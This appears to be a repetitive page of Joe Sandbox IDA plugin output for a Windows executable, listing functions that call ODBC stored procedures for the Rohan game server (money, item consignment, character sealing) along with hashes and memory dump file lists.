                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetRTMOut](?,?,?) }
                                                                                                                            • API String ID: 0-1739745319
                                                                                                                            • Opcode ID: 15dc34091effab0c41741aaca6e12b9bdb98a15950dcb6229c8360f275cd9b96
                                                                                                                            • Instruction ID: ed66851c81fc011b9e920ea3fa5dc35865ab5acaa8c5f1d6c81b8320e8803140
                                                                                                                            • Opcode Fuzzy Hash: 15dc34091effab0c41741aaca6e12b9bdb98a15950dcb6229c8360f275cd9b96
                                                                                                                            • Instruction Fuzzy Hash: 6131E1B1A44208BBEB14DF94DC92FAE7775EB84B28F208209F7207F3C5D6B568408758
                                                                                                                            Function 0043D508 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetGambleMoney2]( ?,?,?)},000000FD), ref: 0043D531
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043D570
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043D5A8
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FE,000000FD,00000014,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043D5DD
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FE,000000FD,00000014), ref: 0043D615
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetGambleMoney2]( ?,?,?)}, xrefs: 0043D528
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetGambleMoney2]( ?,?,?)}
                                                                                                                            • API String ID: 0-2805124159
                                                                                                                            • Opcode ID: 57f3e5cac2a3372695f6a9700e569697f4263fee6f955fc0f399f95cd0360425
                                                                                                                            • Instruction ID: bf9cff5608ef1b585c86b21dcdde8e62dac46f5ba7f24ad83cb1ed8bbe4c5c81
                                                                                                                            • Opcode Fuzzy Hash: 57f3e5cac2a3372695f6a9700e569697f4263fee6f955fc0f399f95cd0360425
                                                                                                                            • Instruction Fuzzy Hash: D73101B0644698ABEB20CF44CC52FEF7376EB84714F108289F7586A2C5D6F569C08F58
                                                                                                                            Function 0043F59C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_RemoveAttachedMoney](?, ?, ?)},000000FD), ref: 0043F5BC
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043F607
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043F63F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043F674
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043F6AC
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_RemoveAttachedMoney](?, ?, ?)}, xrefs: 0043F5B3
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_RemoveAttachedMoney](?, ?, ?)}
                                                                                                                            • API String ID: 0-1065552579
                                                                                                                            • Opcode ID: ec096a5e3edf796cccf4e1b255dcf6b54f283b489324aed43ce0c785235a247b
                                                                                                                            • Instruction ID: 7c0a13b739036ca219e198df99208837a47619130adef06b7ea99b720d1de2c0
                                                                                                                            • Opcode Fuzzy Hash: ec096a5e3edf796cccf4e1b255dcf6b54f283b489324aed43ce0c785235a247b
                                                                                                                            • Instruction Fuzzy Hash: 9331F2716C4214BBEB289F54CC52FE973B4EB84718F2042C9F7146E7C5C6B26D408B98
                                                                                                                            Function 004308A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_ConsignBuyItem] (?,?,?)},000000FD), ref: 004308D0
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043090F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00430944
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043097C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000EE,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004309B4
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_ConsignBuyItem] (?,?,?)}, xrefs: 004308C7
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_ConsignBuyItem] (?,?,?)}
                                                                                                                            • API String ID: 0-1618429283
                                                                                                                            • Opcode ID: a0c08f0a0861b1fa1bac3eb7d36e69463a6601562c36133a57805faca9450a52
                                                                                                                            • Instruction ID: 8bb5f13fd16475f236c746042aaf92fe37ee0929879be0f81cb3072ce233f5a9
                                                                                                                            • Opcode Fuzzy Hash: a0c08f0a0861b1fa1bac3eb7d36e69463a6601562c36133a57805faca9450a52
                                                                                                                            • Instruction Fuzzy Hash: 843114B0E48714ABEB608F44CD42FA97375EB84B18F208285F71D6E2C4D5BA7980CF59
                                                                                                                            Function 00432971 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_UpdateBlockRemark] (?,?,?)},000000FD), ref: 0043299A
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004329D9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00432A0E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00432A46
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000028,00000000,?,00000029,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00432A7E
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_UpdateBlockRemark] (?,?,?)}, xrefs: 00432991
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_UpdateBlockRemark] (?,?,?)}
                                                                                                                            • API String ID: 0-2683653987
                                                                                                                            • Opcode ID: 3c5376c86f087b8acee24a4fe40b2b2d2950ea616b310fe830acf48fd1f1c941
                                                                                                                            • Instruction ID: 892fe213ac9609f133f89e038fa6c20902390722aebafd857ff59a2d42bc7e06
                                                                                                                            • Opcode Fuzzy Hash: 3c5376c86f087b8acee24a4fe40b2b2d2950ea616b310fe830acf48fd1f1c941
                                                                                                                            • Instruction Fuzzy Hash: CA31F2B0641314ABFB248F44CC52FAA7375EBC4B28F104189F71C6E2C6D5B16D418F58
                                                                                                                            Function 0042BAC1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_SealChar](?,?,?)} ,000000FD), ref: 0042BAEA
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042BB29
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042BB5E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042BB96
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042BBCE
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_SealChar](?,?,?)} , xrefs: 0042BAE1
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_SealChar](?,?,?)}
                                                                                                                            • API String ID: 0-355313852
                                                                                                                            • Opcode ID: 9f564ed6b95daa0f21db3db2a0f30713ebdbb64e4a58e69d61c5639131924d62
                                                                                                                            • Instruction ID: 8b5f713131a0f6ec4051781b248207b4ef8e3e2a6bd8a7c22a853af9910c2632
                                                                                                                            • Opcode Fuzzy Hash: 9f564ed6b95daa0f21db3db2a0f30713ebdbb64e4a58e69d61c5639131924d62
                                                                                                                            • Instruction Fuzzy Hash: 6F31E0F164421DABEB24CF54CC52FE97378EB84714F208299F7246E2C1D6B16AC08B6D
                                                                                                                            Function 00430A9D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_ConsignAddMoney] (?,?,?)},000000FD), ref: 00430AC6
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00430B05
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00430B3A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00430B72
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 00430BAA
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_ConsignAddMoney] (?,?,?)}, xrefs: 00430ABD
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
